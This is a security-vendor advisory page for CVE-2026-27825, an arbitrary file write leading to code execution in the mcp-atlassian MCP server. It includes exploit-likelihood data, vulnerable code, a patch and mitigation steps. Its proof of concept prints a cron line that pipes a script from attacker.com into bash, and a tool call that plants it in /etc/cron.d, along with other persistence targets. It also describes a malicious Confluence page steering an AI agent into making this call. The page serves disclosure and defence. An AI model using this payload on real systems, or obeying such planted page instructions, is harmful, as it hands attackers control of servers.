Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
CRITICAL severity

CVE-2026-27825 — mcp-atlassian

CRITICALFix: sooperset/mcp-atlassian@52b9b09

CVE-2026-27825 is a critical-severity (CVSS 9) Path Traversal vulnerability in mcp-atlassian. 1 public exploit reference exists, so weaponization risk is real. A fix is available for mcp-atlassian — see the affected versions and patch details below.

MCP Atlassian has an arbitrary file write leading to arbitrary code execution via unconstrained download_path in confluence_download_attachment

Also known asGHSA-xjgw-4wvw-rgm4PYSEC-2026-408
Published
Mar 10, 2026
Updated
Sep 18, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
1 known
Exploitation data as of Sep 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-27825.

EPSS Exploitation Probability

via FIRST.org ↗
12.7%probability of exploitation in next 30 days
Moderate Risk0.00%
Lower risk than most CVEs96th percentile — riskier than 96% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-27825 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 378,156 CVEs with a current EPSS score, this one falls in the 10–50% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍mcp-atlassian

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The confluence_download_attachment MCP tool accepts a download_path parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to /etc/cron.d/ achieves code execution within one scheduler cycle with no server restart required).

Details

The tool parameter is defined in src/mcp_atlassian/servers/confluence.py:~1275 without any path restriction:

download_path: Annotated[
    str,
    Field(
        description=(
            "Full path where the file should be saved. Can be absolute or relative. "
            "Examples: './downloads/report.pdf', '/tmp/image.png', 'C:\\\\temp\\\\file.docx'. "
            "Parent directory will be created if it doesn't exist."
        )
    ),
],

The implementation at src/mcp_atlassian/confluence/attachments.py:183–200:

if not os.path.isabs(target_path):
    target_path = os.path.abspath(target_path)  # normalizes path, no restriction

os.makedirs(os.path.dirname(target_path), exist_ok=True)  # creates any directory
with open(target_path, "wb") as f:                        # writes to any writable path
    for chunk in response.iter_content(chunk_size=8192):
        f.write(chunk)

os.path.abspath() converts relative paths to absolute but performs no directory boundary check. No configurable base download directory is enforced. There is no validation between the tool parameter and the file write. The same issue exists in download_content_attachments via its target_dir parameter (src/mcp_atlassian/servers/confluence.py:~1389).


### PoC
Prerequisites: Confluence credentials with access to at least one page. To control the written file content, upload a malicious attachment to any Confluence page you have write access to.

Step 1 — Prepare the payload. Create a file containing a valid cron entry and upload it as a Confluence attachment:

* * * * * root curl http://attacker.com/shell.sh | bash

Step 2 — Call the tool with a sensitive write target:

{
    "jsonrpc": "2.0",
    "method": "tools/call",
    "params": {
        "name": "confluence_download_attachment",
        "arguments": {
            "page_id": "<page id hosting the malicious attachment>",
            "attachment_id": "<attachment id>",
            "download_path": "/etc/cron.d/mcp-backdoor"
        }
    },
    "id": 1
}

The attachment content is written verbatim to /etc/cron.d/mcp-backdoor. The system scheduler executes it within one minute with no further attacker action required.

Alternative potential write targets demonstrating broader impact:
- /home/<user>/.ssh/authorized_keys - persistent SSH backdoor
- <venv>/lib/python3.x/site-packages/<any_imported_module>.py - code execution on next import
- ~/.bashrc - code execution on next user login

### Impact
An attacker who can invoke MCP tools and upload (or access) a Confluence attachment with controlled content can achieve arbitrary code execution on the server host. The MCP HTTP transport endpoints carry no authentication by default, meaning any host that can reach the server's HTTP port can call tools using the server's own embedded Confluence credentials (global fallback). The default HOST=0.0.0.0 binding makes this reachable from the local network without any configuration change.

In enterprise deployments where Confluence write access is broadly granted, the effective attacker prerequisite reduces to network access to the MCP HTTP port. This is also reachable without direct network access: a malicious Confluence page can embed LLM instructions directing an AI agent to call confluence_download_attachment with attacker-specified parameters, achieving code execution through the agent as an unwitting intermediary.

Example potential RCE paths:
1. Cron job injection - write a cron entry to /etc/cron.d/; executes within one scheduler cycle, no restart required
2. Python package hijack - overwrite any .py module in the application's virtual environment; executes on next import or server restart.
3. SSH authorized_keys - write an attacker-controlled public key; grants persistent interactive shell access.
4. Shell profile injection - write to ~/.bashrc or ~/.profile; executes on next user login.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPImcp-atlassianall versions0.17.0pip install --upgrade 'mcp-atlassian==0.17.0'
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mcp-atlassian, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update mcp-atlassian to 0.17.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-27825 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-27825 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-27825. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The `confluence_download_attachment` MCP tool accepts a `download_path` parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to `/etc/cron.d/` achieves code execution within on
O3 Security · Impact-Aware SCA

Is CVE-2026-27825 in your dependencies?

O3 Security finds CVE-2026-27825 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-27825: mcp-atlassian (Critical 9) | O3 Security